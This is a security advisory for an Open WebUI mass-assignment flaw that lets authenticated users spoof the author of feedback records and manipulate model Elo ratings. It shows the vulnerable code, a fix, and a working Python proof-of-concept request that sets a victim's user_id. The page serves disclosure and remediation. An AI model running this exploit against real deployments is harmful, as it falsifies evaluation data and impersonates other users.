GHSA-rjmp-vjf2-qf4g CVE-2026-45396 PYSEC-2026-2756
Open WebUI: Mass Assignment via FeedbackForm extra=allow Allows Feedback User ID Spoofing and Evaluation Data Manipulation
- Severity
- 5.4 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.31%
- Chance of exploitation in the next 30 days. Higher than 23.53% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-915 Improperly Controlled Modification of Dynamically-Determined Object Attributes
- Fix
0.9.5- Upgrade open-webui to this version or later
Description
Mass Assignment in Feedback Creation Allows User ID Spoofing and Evaluation Data Manipulation
Summary
The POST /api/v1/evaluations/feedback endpoint in Open WebUI v0.9.2 is vulnerable to mass assignment via FeedbackForm, which uses model_config = ConfigDict(extra='allow'). Due to an insecure dictionary merge order in insert_new_feedback(), an authenticated attacker can inject a user_id field in the request body that overwrites the server-derived value, creating feedback records attributed to any arbitrary user. This corrupts the model evaluation leaderboard (Elo ratings) and enables identity spoofing.
Details
The vulnerability exists in two layers:
1. Model Layer — Insecure Dict Merge Order
File: backend/open_webui/models/feedbacks.py, lines 148–160
async def insert_new_feedback(
self, user_id: str, form_data: FeedbackForm, db: Optional[AsyncSession] = None
) -> Optional[FeedbackModel]:
async with get_async_db_context(db) as db:
id = str(uuid.uuid4())
feedback = FeedbackModel(
**{
'id': id,
'user_id': user_id, # ← Server-set from auth token
'version': 0,
**form_data.model_dump(), # ← OVERWRITES 'id', 'user_id', 'version'
'created_at': int(time.time()),
'updated_at': int(time.time()),
}
)
In Python, when a dictionary literal contains duplicate keys, the last value wins. Since **form_data.model_dump() appears after 'user_id': user_id, any user_id field in the form data overwrites the authenticated user's ID.
2. Schema Layer — extra='allow' on Request Form
File: backend/open_webui/models/feedbacks.py, line 106
class FeedbackForm(BaseModel):
type: str
data: Optional[RatingData] = None
meta: Optional[dict] = None
snapshot: Optional[SnapshotData] = None
model_config = ConfigDict(extra='allow') # ← Accepts arbitrary extra fields
The extra='allow' config means Pydantic will accept and preserve any extra fields in the request body, including user_id, id, and version. These are then spread into the FeedbackModel constructor, overwriting server-set values.
Contrast with Secure Pattern
Other models in the same codebase use the correct ordering. For example, backend/open_webui/models/functions.py, line 120:
function = FunctionModel(**{
**form_data.model_dump(), # ← Spread FIRST
'user_id': user_id, # ← Server value AFTER → always wins
})
And ModelForm at backend/open_webui/models/models.py uses extra='ignore', which is the strictest approach.
Impact
1. User Identity Spoofing
An attacker can create feedback records attributed to any user by specifying their user_id. The admin export endpoint (GET /api/v1/evaluations/feedbacks/export) and admin list (GET /api/v1/evaluations/feedbacks/all) will show the spoofed user_id as the feedback author.
2. Model Evaluation Leaderboard Manipulation
The Elo rating system at backend/open_webui/routers/evaluations.py computes model rankings directly from feedback records. An attacker can inject fake rating feedback to:
- Artificially inflate ratings for a specific model
- Deflate ratings for competitor models
- Make organizational model evaluation decisions unreliable
3. Record ID Control
By injecting a custom id, an attacker controls the UUID of the feedback record. While this won't overwrite existing records (primary key constraint), it enables predictable record IDs that could be useful in other attack chains.
PoC
import requests
BASE_URL = "http://localhost:8080"
# 1. Login as attacker
session = requests.Session()
login_resp = session.post(f"{BASE_URL}/api/v1/auths/signin", json={
"email": "attacker@example.com",
"password": "attackerpass"
})
token = login_resp.json()["token"]
headers = {"Authorization": f"Bearer {token}"}
# 2. Create feedback attributed to a different user (victim)
VICTIM_USER_ID = "12345678-aaaa-bbbb-cccc-000000000000"
resp = session.post(
f"{BASE_URL}/api/v1/evaluations/feedback",
headers=headers,
json={
"type": "rating",
"data": {
"model_id": "gpt-4o",
"rating": 1,
"sibling_model_ids": ["claude-3-opus"],
},
# Mass assignment: these extra fields are accepted due to extra='allow'
# and overwrite server-set values due to dict merge order
"user_id": VICTIM_USER_ID, # Overwrites authenticated user ID
"version": 999, # Overwrites default version
}
)
feedback = resp.json()
print(f"Feedback created with user_id: {feedback['user_id']}")
# Expected: attacker's own user_id
# Actual: VICTIM_USER_ID (12345678-aaaa-bbbb-cccc-000000000000)
assert feedback["user_id"] == VICTIM_USER_ID, "Mass assignment successful!"
Severity
CVSS 3.1: 5.4 (Medium) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (any authenticated user)
- User Interaction: None
- Impact: Integrity (feedback data falsification) + limited Availability (leaderboard reliability)
Suggested Remediation
Option 1: Fix dict merge order (minimal fix)
feedback = FeedbackModel(
**{
**form_data.model_dump(), # Spread FIRST
'id': id, # Server values AFTER (always win)
'user_id': user_id,
'version': 0,
'created_at': int(time.time()),
'updated_at': int(time.time()),
}
)
Option 2: Remove extra='allow' from FeedbackForm (recommended)
class FeedbackForm(BaseModel):
type: str
data: Optional[RatingData] = None
meta: Optional[dict] = None
snapshot: Optional[SnapshotData] = None
model_config = ConfigDict(extra='ignore') # Reject unexpected fields
Option 3: Explicit field assignment (most secure)
feedback = FeedbackModel(
id=str(uuid.uuid4()),
user_id=user_id,
version=0,
type=form_data.type,
data=form_data.data.model_dump() if form_data.data else {},
meta=form_data.meta or {},
snapshot=form_data.snapshot.model_dump() if form_data.snapshot else {},
created_at=int(time.time()),
updated_at=int(time.time()),
)
Affected Versions
- v0.9.2 (current latest, confirmed vulnerable)
- Likely all versions since feedback/evaluation feature was introduced
References
- Prior advisory: "Mass Assignment via Pydantic extra='allow' Allows Creating Folders in Other Users' Accounts" (patched in v0.9.0) — same root cause class, different endpoint
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| open-webui | < 0.9.5 |
0.9.5 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
open-webui PyPI → 0.9.5
- pip
pip install --upgrade "open-webui>=0.9.5"- poetry
poetry add "open-webui>=0.9.5"- uv
uv add "open-webui>=0.9.5"
Severity breakdown
CVSS 3.1 5.4
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- Low
- Availability
- Low
Weakness
CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
The product receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified.
How to prevent it
- Implementation: If available, use features of the language or framework that allow specification of allowlists of attributes or fields that are allowed to be modified. If possible, prefer allowlists over denylists. For applications written with Ruby on Rails, use the attr_accessible (allowlist) or attr_protected (denylist) macros in each class that may be used in mass assignment.
- Architecture and Design, Implementation: If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
- Implementation: For any externally-influenced input, check the input against an allowlist of internal object attributes or fields that are allowed to be modified.
- Implementation, Architecture and Design: Refactor the code so that object attributes or fields do not need to be dynamically identified, and only expose getter/setter functionality for the intended attributes.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-wvm9-9g5j-623f Open WebUI: Users denied by the OAuth role policy can still sign in via token exchange | Medium | Also affects open-webui |
| GHSA-4qg5-cxx4-g927 Open WebUI: Users denied by the OAuth domain allowlist or role policy can still sign in via token exchange | Medium | Also affects open-webui |
| GHSA-jqhh-cjmq-vmv6 Open WebUI: Any authenticated user can hang the server via a cyclic chat message history | Medium | Also affects open-webui |
| GHSA-5x7x-4c3c-qf5w Open WebUI: Server-side fetches reach blocked and internal hosts via unvalidated HTTP redirect targets | Medium | Also affects open-webui |
| GHSA-3cgp-3cqx-j8w2 Open WebUI: Any authenticated user can hang the server via message deletion in a cyclic chat tree | Medium | Also affects open-webui |
| GHSA-34r3-9m95-vq73 Open WebUI: Any authenticated user can reach the Azure platform channel via server-side web fetch | High | Also affects open-webui |
| GHSA-2724-6cpj-gf3v Open WebUI: Non-admin users can delete admin-owned external knowledge connections via knowledge base deletion | High | Also affects open-webui |
| GHSA-3pf7-q2g3-wj28 Open WebUI: Any authenticated user can inject chats into another user's folder via chat completions | Medium | Also affects open-webui |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor